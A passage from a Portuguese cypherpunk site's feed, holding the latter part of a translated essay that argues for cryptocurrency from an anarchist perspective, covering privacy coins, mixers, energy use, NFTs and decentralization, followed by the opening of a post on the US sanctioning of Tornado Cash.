&lt;p>Cripto também é útil como uma ferramenta para privacidade transacional digital, o que é impossível no setor bancário. As redes criptográficas fornecem vários graus de privacidade; para começar, os endereços de carteira são sequências geradas aleatoriamente que não requerem KYC. As transações em blockchains convencionais são públicas, mas observadores externos não podem saber quem elas envolvem, a menos que estejam associadas a contas bancárias por meio de fiat-onramps, como exchanges centralizadas. Ferramentas como LocalCryptos permitem que os usuários ignorem as trocas centralizadas para transferir fundos dentro e fora da cadeia. No entanto, a maioria das criptomoedas não oculta valores de transação e endereços de carteira por padrão, isso pode ser obtido usando mixers como Tornado Cash e Blender, que agrupam depósitos de vários endereços e permitem que os usuários retirem para endereços não vinculados posteriormente, fornecendo privacidade probabilística. Existem também “moedas de privacidade” como Monero e Zcash que têm privacidade como camada base, o primeiro usa assinaturas em anel que agrupam transações para privacidade probabilística, enquanto o último usa provas de conhecimento zero para ocultar transações, onde apenas a prova é publicada on-chain. Existem também muitos protocolos de privacidade mais recentes com recursos de contrato inteligente, como Penumbra, Secret Network, DarkFi e Aztec. Alguns argumentaram que o dinheiro pode alcançar as mesmas coisas, mas isso não leva em conta que vivemos em um mundo cada vez mais digitalizado. Ao contrário do dinheiro, a criptomoeda não precisa ser transportada e armazenada fisicamente, permite que as pessoas façam transações de longe e não está sujeita à política monetária do governo. Dados os casos de uso que já cobrimos, deve ficar claro por que a privacidade torna as redes criptográficas mais resistentes à intervenção do governo, permitindo que usuários marginalizados atinjam seus objetivos.&lt;/p>
&lt;p>Uma boa regra prática para avaliar a utilidade de uma criptomoeda é considerar se ela resolve um problema existente ou surge com um caso de uso artificial. Por exemplo, criptos estão sendo usada como uma camada de incentivo sobre protocolos p2p, como redes sem fio descentralizadas, torrenting e armazenamento descentralizado de arquivos. O &lt;a href="https://www.nytimes.com/2022/02/06/technology/helium-cryptocurrency-uses.html" target="_blank" rel="noopener noreferrer">Helium&lt;/a>
introduziu o token Helium como um incentivo para os usuários executarem pontos de acesso para uma rede sem fio peer-to-peer de baixa largura de banda fornecida para IoT (internet das coisas). O projeto &lt;a href="https://blockworks.co/news/where-is-the-revenue-helium-investors-inquire" target="_blank" rel="noopener noreferrer">teve pouco sucesso&lt;/a>
até agora devido à baixa demanda em um nicho de mercado e por ter que competir com grandes provedores de internet subsidiados pelo estado. Da mesma forma, protocolos de armazenamento de arquivos descentralizados, como IPFS e Arweave, adotaram o Filecoin e o token Arweave, respectivamente, para contabilizar os custos de armazenamento. Outro exemplo é o Bittorrent, um protocolo de comunicação para compartilhamento de arquivos peer-to-peer, introduzindo um token para leechers pagarem seeders, o que é útil para usuários que desejam incentivar outros a propagar arquivos negligenciados ou fornecer velocidades de download extremamente rápidas.&lt;/p>
&lt;p>Finanças descentralizadas, serviços financeiros desintermediados, como empréstimos, seguros e stablecoins fornecidos on-chain por meio de contratos inteligentes, é outro caso de uso importante para criptomoeda. Concorre com os serviços bancários tradicionais, às vezes com ofertas de produtos mais competitivos. Por exemplo, o protocolo Liquity permite que os usuários façam empréstimos a juros zero contra a garantia do Ethereum com uma taxa de 110% (você pode emprestar até 90% do valor em dólares da garantia fornecida) com uma taxa única de apenas 0,5%. O protocolo emite sua própria &lt;a href="https://www.liquity.org/blog/on-price-stability-of-liquity" target="_blank" rel="noopener noreferrer">stablecoin nativa&lt;/a>
contra a garantia subjacente, o que significa que não tem nenhum custo de capital associado, permitindo que os custos de empréstimos sejam muito mais baixos do que qualquer coisa encontrada nas finanças tradicionais. A principal desvantagem do Liquity em comparação com os empréstimos off-line são os requisitos de garantia necessários, que podem ser muito menores ou inexistentes, dependendo de quanto as contrapartes confiam umas nas outras.&lt;/p>
&lt;p>Resumindo, muitas pessoas que se beneficiam da criptomoeda não possuem moedas instáveis, são vistas como criminosas por existirem, vivem sob governos totalitários que proíbem todas as formas de protesto, são imigrantes ilegais barrados no sistema bancário, etc. A criptomoeda também cria incentivos em redes descentralizadas que prejudicam o estado, como torrenting e redes mesh. De uma perspectiva anarquista, a criptografia pode ser usada hoje como uma ferramenta para minar e fugir do estado. A criptomoeda absolutamente oposta neste contexto ignora as experiências vividas daqueles que se beneficiam dela e os marginaliza ainda mais.&lt;/p>
&lt;h2 id="criptomoeda-em-um-contexto-anarquista">Criptomoeda em um Contexto Anarquista&lt;/h2>
&lt;p>Apesar da dificuldade de chegar a um consenso em escala, taxas de transação e acúmulo de renda econômica, a criptomoeda é útil e às vezes até salva vidas para certos indivíduos no contexto capitalista. O mesmo pode ser dito em um contexto anárquico?&lt;/p>
&lt;p>Na ausência de um estado monitorando transações e regras e regulamentos de cima para baixo, as pessoas provavelmente estariam mais inclinadas a confiar em serviços centralizados para transações baratas e instantâneas, todos teriam acesso a eles, e a competição de mercado encorajaria a confiabilidade e o bom gerenciamento de riscos. No entanto, não há garantias, e as plataformas centralizadas são inerentemente capazes de fazer o que quiserem com os fundos que custodiam, incluindo bloqueio de transações, congelamento de fundos e vazamento de informações. As plataformas centralizadas também possuem um único ponto de falha, tornando-as mais suscetíveis a ataques.&lt;/p>
&lt;p>A criptomoeda oferece uma alternativa à própria confiança, que era a única base para relacionamentos sociais recíprocos antes da invenção do blockchain. Mesmo as tentativas de se proteger contra a confiança, como o uso de sistemas como custódia, exigem o uso de um intermediário confiável. A confiança é escassa e, portanto, cara porque requer uma certa quantidade de trabalho para ser mantida e o trabalho sempre tem um custo, embora possa ser insignificante em muitos casos. Em outras palavras, a dimensão social não está isenta de atritos e nossas interações cotidianas carregam custos de transação.&lt;/p>
&lt;p>A confiança também está entrelaçada com o capital social e a dependência do caminho da acumulação do capital social é um tanto análoga à escassez artificial em uma blockchain, ambas as quais resultam no acúmulo de rendas de escassez. Apesar dos mercados relativamente competitivos, as instituições nas quais as pessoas confiam podem se tornar fixas, e os modos de interação sem confiança fornecem uma saída e um controle sobre o capital social como um todo. Para qualquer indivíduo, a escolha entre usar sistemas baseados em confiança versus sistemas sem confiança depende de qual carrega transações mais altas para eles. Isso pode variar significativamente de transação para transação e é improvável que uma seja totalmente dependente de uma ou de outra. É importante observar que qualquer coisa que não possa ser mediada inteiramente por contratos inteligentes não pode ser confiável, o que significa que tem um escopo limitado devido aos níveis atuais de tecnologia e provavelmente será limitado a bens digitais escassos, como armazenamento p2p e poder de processamento. No entanto, como as coisas estão cada vez mais digitalizadas e automatizadas, a aplicabilidade do blockchain para transações cotidianas aumenta.&lt;/p>
&lt;p>A infraestrutura sem confiança compete e reduz o custo da confiança offline, permitindo que as pessoas escapem do contexto local, essencialmente tornando a confiança mais barata ao fornecer uma alternativa. Ao tranferir de longe, seria necessário confiar em todos os correspondentes envolvidos em uma transação e a infraestrutura sem confiança é uma alternativa à devida diligência que pode ser necessária. Blockchain é, portanto, uma ferramenta extremamente útil para transações, mesmo em um contexto sem estado. Também é útil para muito mais do que transações, pois pode ser usado para rastrear mercadorias em cadeias de suprimentos de forma pública e transparente, configurar estruturas de governança tokenizadas para organizações (DAOs), especialmente se os membros não puderem se coordenar pessoalmente e assim por diante.&lt;/p>
&lt;h2 id="criptos-estão-destruindo-o-meio-ambiente">Criptos Estão Destruindo o Meio Ambiente?&lt;/h2>
&lt;p>Antes de entrarmos nessa toca do coelho, é importante observar que a maioria dos blockchains usa proof-of-stake, que não consome mais energia do que qualquer outro processo de computação descentralizado e requer apenas uma rede de computadores para funcionar. O Ethereum, a blockchain mais ativa que existe, trocou recentemente o proof-of-stake, reduzindo seu uso de energia em mais de 99%, então não precisamos dizer mais nada nessa área.&lt;/p>
&lt;p>É apenas o proof-of-work, usado pelo Bitcoin, a maior criptomoeda por capitalização de mercado, que exige que os mineradores consumam energia pelo direito de construir o próximo bloco. Dito isso, o impacto ambiental do Bitcoin é geralmente exagerado e mal interpretado por seus críticos, e a prova de trabalho pode incentivar a estabilização da rede, o investimento em energia renovável e a mitigação do metano. Visto que o Bitcoin forneceu e continua a agregar valor aos seus usuários, armazenando cerca de US$ 600 bilhões e processando US$ 10 a US$ 20 bilhões em liquidações por dia, faz sentido contextualizar seu uso de energia em vez de desconsiderar a tecnologia por simplesmente usar energia.&lt;/p>
&lt;p>Para recapitular por que o consumo de energia é necessário no PoW, o trabalho computacional incorre em um custo para os mineradores, garantindo que eles não possam capturar mais de 51% do hashrate (o que lhes permite alterar o histórico da rede e gastar o dobro) e desencorajá-los de validar blocos maliciosos , que seria rejeitado por outros nós. O consumo de energia do Bitcoin está vinculado à produção de blocos e aumenta com o preço do Bitcoin porque a mineração se torna mais lucrativa à medida que os preços aumentam. Portanto, mesmo que um bloco esteja vazio, ele ainda será minado. Além disso, soluções de dimensionamento off-chain, como Lightning, significam que uma única transação on-chain pode representar milhares de transações menores. Isso significa que métricas comumente citadas, como custo de energia por transação, são uma maneira impraticável de avaliar a eficiência da rede Bitcoin, pois adicionar ou remover transações não alteraria o uso de energia.&lt;/p>
&lt;p>No geral, o Bitcoin consome apenas cerca de &lt;a href="https://ccaf.io/cbeci/index" target="_blank" rel="noopener noreferrer">0,4% da energia mundial&lt;/a>
(este é um valor anualizado com base nos dados de outubro de 2022 e a estimativa varia consideravelmente com o hashrate). No entanto, para ter uma noção melhor do impacto ambiental da Bitcon, faz sentido observar seu mix de energia (sustentável x não sustentável), porque o consumo de energia não se traduz necessariamente em emissões. As estimativas para isso variam amplamente, o Cambridge Centre for Alternative Finance (CCAF) estima que &lt;a href="https://www.jbs.cam.ac.uk/insight/2022/what-is-the-environmental-footprint-of-bitcoin/" target="_blank" rel="noopener noreferrer">37,6% ou a mineração de Bitcoin é sustentável,&lt;/a>
enquanto as estimativas da indústria do Bitcoin Mining Council, que representa desproporcionalmente os mineradores americanos, colocam em &lt;a href="https://bitcoinminingcouncil.com/bitcoin-mining-electricity-mix-increased-to-59-5-sustainable-in-q2-2022/" target="_blank" rel="noopener noreferrer">torno de 59,5%,&lt;/a>
o que é melhor. do que a grade média americana de 40% sustentável. O mix de energia do Bitcoin é difícil de determinar porque os mineradores são altamente móveis e geralmente operam em regiões remotas com energia mais barata. Dado que a mineração está saindo cada vez mais da China devido a uma repressão do governo, o mix de energia do Bitcoin está melhorando constantemente e já é muito melhor do que a grande maioria das outras indústrias.&lt;/p>
&lt;p>Outra nuance importante para o impacto ambiental do Bitcoin são os incentivos que o proof-of-work introduz no setor de energia. A mineração incentiva a construção de carga básica para a rede, fornecendo uma demanda por eletricidade em áreas mal atendidas, onde pode não ser lucrativo para as empresas de energia investir. Por exemplo, a &lt;a href="https://gridlesscompute.com/" target="_blank" rel="noopener noreferrer">Gridless Compute&lt;/a>
usa a mineração de Bitcoin para monetizar micro usinas hidrelétricas no Quênia como comprador de último recurso. Os mineradores de Bitcoin também podem desligar dinamicamente durante picos de demanda e ligar quando há excesso de capacidade, o que subsidia a energia renovável intermitente. Um exemplo de mobilidade de mineradores são os mineradores chineses que se deslocam da província de Xinjiang, no norte, onde usam energia de carvão, para a província de Sichuan, no sudoeste, onde usam energia hidrelétrica excedente barata durante a estação das monções. Em geral, a energia não rival ou ociosa tende a ser barata e é provável que os mineradores de Bitcoin a procurem. No entanto, isso também pode sair pela culatra, pois a opção mais barata, em um caso, acabou sendo uma usina de carvão desativada. Por fim, a mineração de Bitcoin pode capturar e utilizar metano residual que, de outra forma, teria sido queimado ou liberado, o que é zero em termos de emissões, mas também subsidia os processos industriais subjacentes.&lt;/p>
&lt;p>Outra forma de contextualizar o uso de energia do Bitcoin é observando como ele se compara a outras atividades que também extraem energia da rede. Tecnicamente, no sistema bancário global tradicional, a liquidação em dólares é finalmente aplicada pelos militares e policiais dos EUA, o primeiro é um dos maiores poluidores do mundo e consome 7 vezes mais energia que o Bitcoin. Além disso, o dólar é legitimado por meio de impostos e multas do governo dos EUA para indivíduos e empresas. Tanto em termos éticos quanto energéticos, o Bitcoin parece uma alternativa melhor. Podemos estimar razoavelmente que os jogos &lt;a href="https://braiins.com/blog/bitcoin-mining-vs-gaming" target="_blank" rel="noopener noreferrer">usam 46% mais energia do que a mineração de Bitcoin,&lt;/a>
com um mix de energia menos sustentável. Apesar disso, ninguém reclama do uso coletivo de energia de streamers profissionais do Twitch com suas plataformas de jogos que consomem muita eletricidade. Da mesma forma, as secadoras domésticas, que normalmente são usadas de forma discricionária, consomem 1,6 vezes a energia da mineração de Bitcoin.&lt;/p>
&lt;p>O objetivo dessas comparações é revelar que muitas das críticas ao uso de energia do Bitcoin decorrem da ideia de que é um desperdício, o que é, em última análise, uma função da visão subjetiva de alguém sobre a utilidade do modelo de segurança do Bitcoin, que muitas pessoas consideram útil. Do ponto de vista prático, faz pouco sentido reclamarmos sobre como os indivíduos utilizam a rede, desde que internalizem os custos de fazê-lo. Em vez disso, podemos procurar descarbonizar a rede e tornar a prova de trabalho mais sustentável.&lt;/p>
&lt;h2 id="uma-análise-dos-nfts">Uma análise dos NFTs&lt;/h2>
&lt;p>Um exame da criptomoeda seria incompleto sem desconstruir o fenômeno dos NFTs, visto que eles recebem muita ira de anarquistas de esquerda e da esquerda em geral. Um NFT é um token único armazenado em um blockchain com uma extensão de metadados opcional que pode conter um URI (Uniform Resource Identifier). Existem vários casos de uso para NFTs, desde uma ferramenta para compensar artistas até apenas outro ativo especulativo para as pessoas negociarem.&lt;/p>
&lt;p>O primeiro erro que as pessoas cometem é confundir NFTs com obras de arte tokenizadas quando elas podem ser usadas para muitos propósitos diferentes (nenhum dos quais requer necessariamente blockchain). Os NFTs podem ser usados para representar qualquer objeto físico à venda em um mercado. Isso pode ocorrer tecnicamente em uma variedade de plataformas, mas as propriedades das blockchains significam que as pessoas podem exibir mercadorias para venda sem permissão, mesmo que a transferência física da propriedade exija confiança. Eles também podem ser usados como uma &lt;em>interface&lt;/em> pública e confiável para proveniência, pois plataformas de terceiros podem se conectar a uma blockchain e revelar a autoria de uma determinada mídia, um exemplo são as fotos de perfil NFT no Twitter. Hoje, os NFTs são comumente usados para comprovação de participação no espaço criptográfico, onde os participantes do evento recebem POAPs (Proof of Attendance Protocol) para incentivar a participação em recompensas futuras. Na medida em que são usados para referenciar obras de arte, os NFTs podem ser usados para comissões e para apoiar artistas, grande parte da arte vendida em plataformas como a Foundation não tem valor de revenda especulativo e a “compra” dessa arte pode ser considerada uma doação que incentiva a criação de arte. Por fim, eles podem ser usados para representar ou sinalizar associação a um grupo de maneira não confiável, onde o conteúdo vinculado fornece contexto relevante.&lt;/p>
&lt;p>No entanto, além das generalizações, há críticas coerentes aos casos de uso de NFTs, como eles sendo usados para denotar a propriedade das informações que eles referenciam. A propriedade permite excluir outros do acesso por definição, o que os NFTs não fazem. As pessoas estão essencialmente pagando por um token com um ponteiro para algo que elas realmente não possuem e pode ser copiado livremente por qualquer pessoa. Portanto, pode-se argumentar que esses tokens são inúteis &lt;em>fora de um contexto especulativo.&lt;/em> A manifestação mais comum disso são os especuladores que compram tokens que fazem referência a obras de arte. Muitos reconhecem isso livremente na indústria criptográfica, referindo-se aos NFTs como “shitcoins” (moedas sem nenhum caso de uso além da especulação) com imagens anexadas a eles. Inovações recentes no espaço, como o Sudoswap, consolidam ainda mais essa percepção, que implementou pools de liquidez NFT que permitem aos usuários comprar e vender instantaneamente NFTs on-chain.&lt;/p>
&lt;p>Nos jogos NFT, os NFTs são usados para fazer referência a itens do jogo. O que os diferencia dos NFTs de arte é que um jogo cria um contexto estável para que eles retenham um valor que não seja estritamente especulativo. As pessoas que jogam podem comprar itens no jogo para melhorar sua experiência de jogo e se esforçar para adquirir itens, o que tem um custo. Uma crítica de minimização de renda econômica desse paradigma se aplica a praticamente todos os videogames hoje, que é que os desenvolvedores e as empresas de jogos acumulam rendas de escassez artificial vendendo informações, que não são escassas, apesar do valor que as pessoas atribuem a elas. Portanto, a &lt;a href="https://extortionindustry.org/extortion.html" target="_blank" rel="noopener noreferrer">única forma&lt;/a>
de compensar os criadores de conteúdo sem que eles se beneficiem das rendas de escassez é eles cobrando pelos serviços ou as pessoas doando o que quiserem.&lt;/p>
&lt;p>Nesse quadro, é inconsistente que os NFTs sejam destacados, mas não o Netflix, o Spotify, os jogos que vendem itens do jogo e todos os outros serviços que os usuários pagam para acessar o conteúdo digital. O lado positivo dos NFTs nos jogos é que eles redistribuem os aluguéis de escassez para os usuários, em vez de concentrá-los nas mãos das empresas de jogos, criando uma economia para os itens do jogo; pode-se pensar nisso como um mercado descentralizado para skins de Counter Strike.&lt;/p>
&lt;p>No final das contas, as pessoas tratam os NFTs como uma forma de propriedade em um contexto especulativo ou dentro do jogo. Se as pessoas querem jogar jogos especulativos de soma zero ou pagar aluguel umas às outras, é uma prerrogativa delas. Um fenômeno semelhante são as pessoas que pagam pelo Netflix, embora praticamente não haja consequências legais para a pirataria e o conteúdo pirata esteja disponível em uma interface semelhante por meio de serviços como o utorrent web player, sites de streaming e aplicativos como o Popcorn Time. Nesses casos, assimetrias informacionais persistentes sobre como piratear mídia, valores morais que apóiam direitos autorais, interoperabilidade relativamente perfeita, medo infundado de ação legal, entre outras coisas, parecem criar falhas de mercado de longo prazo. Algum aluguel econômico é inevitável e, em última análise, compatível com a anarquia se as pessoas não forem forçadas a pagá-lo pelas autoridades.&lt;/p>
&lt;h2 id="criptomoeda-é-centralizada">Criptomoeda é Centralizada?&lt;/h2>
&lt;p>A questão de saber se a criptografia é realmente descentralizada é importante para as pessoas que a valorizam por suas propriedades. Com muitos argumentando desonestamente que é centralizado e, portanto, não seguro, essa é uma questão importante a ser discutida. Superficialmente, a maioria das principais criptomoedas são claramente descentralizadas porque consistem em muitos nodes coordenados para manter um registro distribuído. O Bitcoin tem &lt;a href="https://bitnodes.io/" target="_blank" rel="noopener noreferrer">15.161 nodes&lt;/a>
e o ethereum tem &lt;a href="https://ethernodes.org/" target="_blank" rel="noopener noreferrer">8.068 nodes&lt;/a>
no momento em que escrevo este artigo. No entanto, a descentralização da blockchain é um espectro e podemos perguntar o quão descentralizada é uma determinada blockchain e como isso é medido. Para isso, podemos observar as métricas de descentralização do Bitcoin, que usa PoW, e Ethereum, que usa PoS.&lt;/p>
&lt;p>A descentralização de redes PoW como Bitcoin pode ser medida em termos de hashrate e distribuição de hashrate. O hashrate aumenta à medida que mais nodes entram na rede, tornando-a mais descentralizada, mas quem controla esses nodes também importa em termos de descentralização e segurança. A distribuição de poder computacional ou hashrate entre mineradores é uma maneira de entender isso. No momento da redação deste artigo, o maior pool de mineração de Bitcoin, Foundry USA, controla &lt;a href="https://btc.com/stats/pool" target="_blank" rel="noopener noreferrer">aproximadamente 28% do hashrate,&lt;/a>
o que é inferior aos 51% necessários para realizar um ataque. Os pools de mineração também representam muitos indivíduos e grupos diferentes que possuem seu próprio hardware e podem desistir se acreditarem que o operador é uma ameaça à rede. Os incentivos do PoW significam que é improvável que os pools entrem em conluio, mas para realizar tal ataque hoje seriam necessários os 5 principais pools que &lt;a href="https://blockworks.co/news/measuring-decentralization-is-your-crypto-decentralized" target="_blank" rel="noopener noreferrer">controlam coletivamente 52% do hashrate.&lt;/a>
Outro vetor potencial de ataque é a coerção do estado, e é por isso que a distribuição geográfica do hashrate é importante - atualmente nenhum país controla mais de 37,84% do hashrate. A dispersão da oferta de Bitcoin não determina a descentralização ou a segurança da rede, mas reflete a especulação externa e a dinâmica acumulativa interna. Um ponto a ser observado aqui é que a oferta &lt;a href="https://insights.glassnode.com/bitcoin-supply-distribution/" target="_blank" rel="noopener noreferrer">parece mais concentrada do é&lt;/a>
devido às carteiras de câmbio que representam milhões de usuários e custodiantes de ativos.&lt;/p>
&lt;p>A descentralização de redes PoS como Ethereum depende do número de validadores, nodes e como os tokens são distribuídos entre eles. O número de validadores de Ethereum é aproximadamente calculado como a quantidade de Ethereum apostado dividido por 32, a quantidade mínima de Ethereum que alguém deve apostar para se tornar um validador. Atualmente, existem &lt;a href="https://ethereum.org/en/staking/#gatsby-focus-wrapper" target="_blank" rel="noopener noreferrer">441.747 validadores&lt;/a>
protegendo a rede Ethereum. No entanto, nem todos esses validadores operam seus próprios nodes, em vez disso, 60% do apostado é custodiado por pools de apostas como o Lido, que depositou Ethereum com um validador de um conjunto de operadores de nodes. Como os requisitos de hardware para executar um validador são muito baixos, os nodes individuais podem executar muitos validadores e os nodes não precisam necessariamente funcionar como validadores. A distribuição de tokens apostados em nodes ou pools de apostas nos dá mais informações sobre o quão descentralizada é a rede. Atualmente, o maior pool de apostas, o Lido, detém &lt;a href="https://decrypt.co/108906/ethereum-staking-pools-who-runs-the-largest-ones" target="_blank" rel="noopener noreferrer">30% do Ethereum apostado,&lt;/a>
o que é menos de 51%. Além disso, assim como os pools de mineração, os usuários podem sair dos pools de apostas e ir para outro lugar. Os pools de apostadores também distribuem o Ethereum para muitos nodes independentes, o que mitiga a ameaça que eles representam para a descentralização.&lt;/p>
&lt;p>Embora criptomoedas como Ethereum tenham mecanismos de consenso distribuídos e sem confiança, a centralização se insinuou por outros caminhos. A maior parte do espaço confia em provedores de infraestrutura centralizada, como Infura e Alchemy, que permitem que aplicativos descentralizados consultem remotamente o blockchain subjacente por meio de APIs, pois pode ser inviável para eles executar seus próprios nodes completos (o que envolve o armazenamento de todo a blockchain). O problema com isso é que os provedores de infraestrutura podem censurar e deturpar informações da blockchain. Esta é uma vulnerabilidade na stack de software da Ethereum, mas não compromete o blockchain subjacente. Também existem soluções para esse problema, como &lt;a href="https://openethereum.github.io/js-libs/light.js/concepts/light-client-development.html" target="_blank" rel="noopener noreferrer">light clients,&lt;/a>
que são nodes de baixa exigência de recursos que podem ser incorporados em aplicativos de desktop e implantados em carteiras, permitindo que os usuários verifiquem informações de provedores de infraestrutura sem confiança.&lt;/p>
&lt;p>Outro risco contínuo para a rede Ethereum, que o Bitcoin nunca enfrentou, é o risco regulatório do Escritório de Controle de Ativos Estrangeiros dos EUA (OFAC), que &lt;a href="https://cypherpunks.com.br/documentos/o-olho-da-tempestade/">sancionou o Tornado Cash.&lt;/a>
Os validadores são livres para excluir e reordenar transações em blocos, o que significa que é possível que eles cumpram individualmente. Atualmente, &lt;a href="https://www.mevwatch.info/" target="_blank" rel="noopener noreferrer">cerca de 53% dos blocos&lt;/a>
(no momento da redação deste artigo) no Ethereum são compatíveis com OFAC porque usam Flashbots, um relé de impulso de valor máximo extraível (MEV) baseado nos EUA, que foi construído em censura devido a requisitos regulatórios. MEV é a prática de incluir, excluir e reordenar transações de blocos para capturar oportunidades de arbitragem on-chain. Flashbots é uma stack de software intermediária que permite que um mercado competitivo de buscadores e construtores construa e envie blocos para proponentes (validadores), o que evita que o mercado seja dominado por um pequeno conjunto de validadores versados em MEV. Construtores que usam Flashbots não podem incluir transações sancionadas. Os 49% restantes dos validadores não fazem isso, então a rede ainda está livre de censura. No entanto, se esses validadores se recusarem a atestar os blocos sancionados por meio do cliente de consenso, isso constituiria um ataque de 51% na rede.&lt;/p>
&lt;p>A comunidade está ciente desses riscos e geralmente concorda com uma variedade de soluções, incluindo uma separação de proponente-criador em nível de protocolo, melhores recursos de privacidade para mascarar se as transações são compatíveis com OFAC e plataformas como &lt;a href="https://youtu.be/ywJNXIUSqOw" target="_blank" rel="noopener noreferrer">EigenLayer,&lt;/a>
que permite que validadores acrescentem pacotes MEV a blocos, permitindo que eles ainda incluam transações censuradas. Dito isso, há alguma divisão sobre se os incentivos devem ser introduzidos para tornar a rede inerentemente resistente à censura, em vez de resistente à censura como consequência de sua descentralização geográfica. Alguns tendem a favorecer uma maior descentralização geográfica dos validadores e abraçar diversas preferências de validadores, enquanto outros apoiam a introdução de incentivos adicionais para a camada de base, como cortar blocos de censura para desincentivar a censura. Caso 51% dos validadores se recusem a atestar blocos que incluam transações sancionadas, a solução mais simples para restabelecer a descentralização seria começar a cortar os tokens apostados.&lt;/p>
&lt;h2 id="conclusão">Conclusão&lt;/h2>
&lt;p>Uma boa maneira de os anarquistas céticos abordarem a criptomoeda é considerar por que o estado de vigilância é tão ameaçado por ela em primeiro lugar. Tornado Cash, um mixer implantado em muitos blockchains que permite aos usuários fazer transações privadas, foi recentemente sancionado pelo regime dos EUA e um desenvolvedor colaborador foi preso na Bélgica, estabelecendo mais um precedente para proibir o uso de tecnologias que ameaçam o estado. A ICE recentemente &lt;a href="https://theintercept.com/2022/06/29/crypto-coinbase-tracer-ice/" target="_blank" rel="noopener noreferrer">firmou um contrato&lt;/a>
com a exchange centralizada Coinbase para análises de usuários de blockchain, para que eles possam rastrear o movimento de fundos on-chain da melhor maneira possível. &lt;a href="https://en.wikipedia.org/wiki/Legality_of_cryptocurrency_by_country_or_territory" target="_blank" rel="noopener noreferrer">Muitas nações&lt;/a>
também aprovaram legislação anti-cripto e expressaram sentimentos anti-cripto, às vezes ao ponto de todas as proibições.&lt;/p>
&lt;p>Em cada um desses casos, o estado faz tentativas de sancionar a criptografia porque permite que as pessoas subvertam os regulamentos, evitem a vigilância financeira e prejudiquem o curso legal, o que reforça o poder do estado e o nível existente e a distribuição da renda. Os bancos centrais, especialmente os de países com alta inflação, como a Turquia, tomam medidas para proibir as criptomoedas, pois podem ser usadas como veículo para a fuga de capitais, o que enfraquece ainda mais a moeda nacional. Outros, como a Nigéria, o baniram para transações porque compete diretamente com a moeda nacional e opera fora do alcance do governo.&lt;/p>
&lt;p>Devido à natureza distribuída das criptomoedas, as ações repressivas tiveram pouco sucesso. Por exemplo, apesar de ser desplataformado por provedores de serviços e colocado na lista negra por exchanges centralizadas, o smart-contract Tornado Cash no Ethereum não pode ser removido ou alterado e ainda pode ser usado por meio de front-ends descentralizados. Além disso, alguns dos países com as maiores taxas de adoção ajustadas para paridade de poder de compra, como Vietnã, Turquia e China, são hostis à criptomoeda, demonstrando que pouco podem fazer para impedir que as pessoas a usem. Dada essa resiliência, muitas organizações anarquistas usam endereços Bitcoin como uma opção para arrecadação de fundos, o que é útil para contribuidores que desejam manter um grau de anonimato e não têm acesso às principais plataformas de arrecadação de fundos. Também facilita práticas ilegais como ocupação de bens imóveis.&lt;/p>
&lt;p>À luz desses fatores, a narrativa esquerdista sobre a criptomoeda como uma “fraude” ambientalmente destrutiva é desinformada, reacionária e ecoa as preocupações expressas pelos governos. Embora possa ser usado como um ativo especulativo, os indivíduos também valorizam a criptomoeda porque é sem permissão, confiável, segura, distribuída e abre espaços que são ilegíveis para o estado. Mais amplamente, devemos reconhecer que a utilidade é subjetiva e como as pessoas usam uma tecnologia depende delas.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.mutualismcoop.com/contemporary-mutualist-text/anarchism-and-cryptocurrency" target="_blank" rel="noopener noreferrer">Anarchism and Cryptocurrency - Rai Ling&lt;/a>
&lt;/p></content:encoded></item><item><title>O olho da tempestade</title><link>https://cypherpunks.com.br/documentos/o-olho-da-tempestade/</link><pubDate>Tue, 09 Aug 2022 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/o-olho-da-tempestade/</guid><description>Escolha privacidade enquanto ainda é uma opção.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="o-olho-da-tempestade">O olho da tempestade&lt;/h1>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/tornado-header.webp" loading="lazy"
width="1200" height="675"
/>
&lt;/p>
&lt;p>&lt;/p>
&lt;p>&lt;strong>&amp;ldquo;Se você não tem nada a esconder, você não tem nada a temer.&amp;rdquo;&lt;/strong>&lt;/p>
&lt;p>&lt;em>Mas quando não há onde se esconder, você deve ter muito medo.&lt;/em>&lt;/p>
&lt;p>A repressão começou e, embora tenha a atenção de todos, não causou muita surpresa.&lt;/p>
&lt;p>O Tornado Cash, o mais controverso dos aplicativos Ethereum, vive com tempo emprestado. E parece que &lt;a href="https://twitter.com/TornadoCash/status/1514904975037669386" target="_blank" rel="noopener noreferrer">tentativas recentes&lt;/a>
de aplacar as autoridades não foram suficientes para mantê-las afastadas por muito tempo.&lt;/p>
&lt;p>Com mais de &lt;a href="https://twitter.com/TornadoCash/status/1514904975037669386" target="_blank" rel="noopener noreferrer">$1 bilhão de TVL&lt;/a>
em seu pico, o notório mixer tem sido a melhor escolha para lavar &lt;a href="https://rekt.news/leaderboard/" target="_blank" rel="noopener noreferrer">fundos roubados&lt;/a>
. E &lt;a href="https://www.elliptic.co/blog/540-million-stolen-from-the-ronin-defi-bridge" target="_blank" rel="noopener noreferrer">embora saibamos&lt;/a>
que a Coreia do Norte, com seu histórico indefensável de direitos humanos, está entre aqueles que se beneficiam do anonimato fornecido pelo Tornado, ainda lutamos pelo nosso direito de usá-lo.&lt;/p>
&lt;p>&lt;em>Se não sanções, então qual é a solução? Se permitirmos privacidade, existem exceções?&lt;/em>&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/rekt-linebreak.webp" loading="lazy"
width="1200" height="40"
/>
&lt;/p>
&lt;p>&lt;strong>Ontem, o Tornado Cash e alguns de seus endereços de contratos inteligentes foram &lt;a href="https://home.treasury.gov/policy-issues/financial-sanctions/recent-actions/20220808" target="_blank" rel="noopener noreferrer">adicionados&lt;/a>
à &lt;a href="https://www.treasury.gov/ofac/downloads/sdnlist.pdf" target="_blank" rel="noopener noreferrer">lista OFAC&lt;/a>
do Tesouro dos EUA de Nacionais Especialmente Designados (SDNs) e Pessoas Bloqueadas.&lt;/strong>&lt;/p>
&lt;p>Essa sanção torna ilegal que qualquer cidadão, residente ou empresa dos EUA interaja com os endereços sancionados, que atualmente &lt;a href="https://twitter.com/BowTiedIguana/status/1556683136280408064" target="_blank" rel="noopener noreferrer">contêm US$ 437 milhões&lt;/a>
em ETH, WBTC e stablecoins.&lt;/p>
